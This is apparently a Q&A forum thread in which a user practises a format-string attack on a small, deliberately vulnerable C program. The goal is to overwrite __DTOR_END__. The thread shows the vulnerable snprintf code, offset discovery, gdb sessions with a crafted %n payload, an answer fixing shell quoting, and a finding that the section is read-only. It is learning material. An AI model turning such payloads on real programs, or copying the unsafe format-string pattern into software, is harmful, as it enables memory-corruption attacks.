I am trying to repeat the attack discussed at this link, but I am not able to succeed. The goal is to overwite the value at the symbol __DTOR_END__
via format string vulnerability.
The following is what I tried. The vulnerable program:
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[]) {
char buf[512];
if (argc < 2) { printf("%s\n","Failed"); return 1; }
snprintf(buf, sizeof(buf), argv[1]); // Vulnerable statement
buf[sizeof (buf) - 1] = '\x00';
return 0;
}
Step 1:
$ gcc fmt.c -o fmt_g -g
Step 2:
$ ltrace ./fmt_g 'AAAA.%9$x'
__libc_start_main(0x8048464, 2, 0xbffff404, 0x80484f0, 0x8048560 <unfinished ...>
snprintf("AAAA.41414141", 512, "AAAA.%9$x", 0x20) = 13
+++ exited (status 0) +++
$
This shows that hex 0x41
corresponding to A
prints after 9 %x
.
Step 3:
$ nm fmt_g | grep DTOR
08049f20 D __DTOR_END__
08049f1c d __DTOR_LIST__
$
The address for __ DTOR_END__ is 0x08049f20
.
Step 4:
$ gdb fmt_g
(gdb) disas main
...
0x080484bb <+87>: call 0x80483a0 <snprintf@plt>
...
(gdb) (gdb) break *main+87
Breakpoint 1 at 0x80484bb: file fmt_g.c, line 7.
(gdb) r $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n
Starting program: fmt2_g $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n
Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt_g.c:7
7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
0x8049f20 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000010
0x8049f30 <_DYNAMIC+8>: 0x0000000c 0x08048318 0x0000000d 0x0804859c
0x8049f40 <_DYNAMIC+24>: 0x6ffffef5 0x080481ac
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb)
I get SIGSEGV. I am trying this on a Linux box, which is little endian. Out of curiosity I tried to use the address in opposite way:
(gdb) r $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n
Starting program: fmt2_g $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n
Breakpoint 1, 0x080484bb in main (argc=3, argv=0xbffff3a4) at fmt2_g.c:7
7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
0x8049f20 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000010
0x8049f30 <_DYNAMIC+8>: 0x0000000c 0x08048318 0x0000000d 0x0804859c
0x8049f40 <_DYNAMIC+24>: 0x6ffffef5 0x080481ac
(gdb) s
8 buf[sizeof (buf) - 1] = '\x00';
(gdb) x/10x 0x08049f20
0x8049f20 <__DTOR_END__>: 0x00000000 0x00000000 0x00000001 0x00000010
0x8049f30 <_DYNAMIC+8>: 0x0000000c 0x08048318 0x0000000d 0x0804859c
0x8049f40 <_DYNAMIC+24>: 0x6ffffef5 0x080481ac
(gdb)
I don't know what I'm doing wrong. My thought is that I am not using the address for __ DTOR_END__
correctly. Can someone provide some hint ?
The problem is actually very simple: your shell is interpreting the output from printf
. \x20
is a space character, so in the first example your shell basically strips off the space and passes \x9f\x04\x08AAAA%x%x...
which crashes (by trying to write to address 0x4108049f). In the second example, you end up passing two arguments, \x08\x04\x9f
and AAAA%x%x...
; the first argument doesn't do anything interesting so there's no crash.
To fix, just enclose the whole argument in quotes: r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"
. In the future, here are a few debugging tips to keep in mind (that I've used frequently):
disas
(or, if necessary, x/i $pc
) will tell you the crashing instruction, and info reg
will show you the registers; together, this will tell you precisely what the program was trying to do when it crashed. For example, in the first case you should see that a mov
instruction is trying to write to a memory address defined by some register, and that the register is set to 0x4108049f.p argv[1]
to make sure you're getting the right input passed in. Often times it's easy to overlook an embedded whitespace, NUL or high-ASCII character that causes an input routine to terminate early.Based on @nneonneo's answer, I tried the following:
(gdb) b *main+87
Breakpoint 1 at 0x80484bb: file fmt2.c, line 11.
(gdb) r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"
Starting program: fmt2_g "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"
Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt2.c:11
11 snprintf(buf, sizeof(buf), argv[1]);
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) info reg
eax 0x8049f20 134520608
ecx 0xbffff0fc -1073745668
edx 0xb7e64c1a -1209644006
ebx 0xb7fc4ff4 -1208201228
esp 0xbfffe9c0 0xbfffe9c0
ebp 0xbfffef78 0xbfffef78
esi 0xbfffefb0 -1073746000
edi 0x34 52
eip 0xb7e66bcd 0xb7e66bcd <vfprintf+16669>
eflags 0x210296 [ PF AF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/i $pc
=> 0xb7e66bcd <vfprintf+16669>: mov %edi,(%eax)
(gdb)
The mov operation to 0x08049f20
causes SIGSEGV. I checked the proc's memory mapping:
(gdb) info proc
process 6303
root@pc:/proc/6303# cat maps
08048000-08049000 r-xp 00000000 08:01 1720261 fmt2_g
08049000-0804a000 r--p 00000000 08:01 1720261 fmt2_g
0804a000-0804b000 rw-p 00001000 08:01 1720261 fmt2_g
The address 08049f20
is not writable. I think this is why SIGSEGV occurs.
I don't know if it can be mapped as writable or not.
User contributions licensed under CC BY-SA 3.0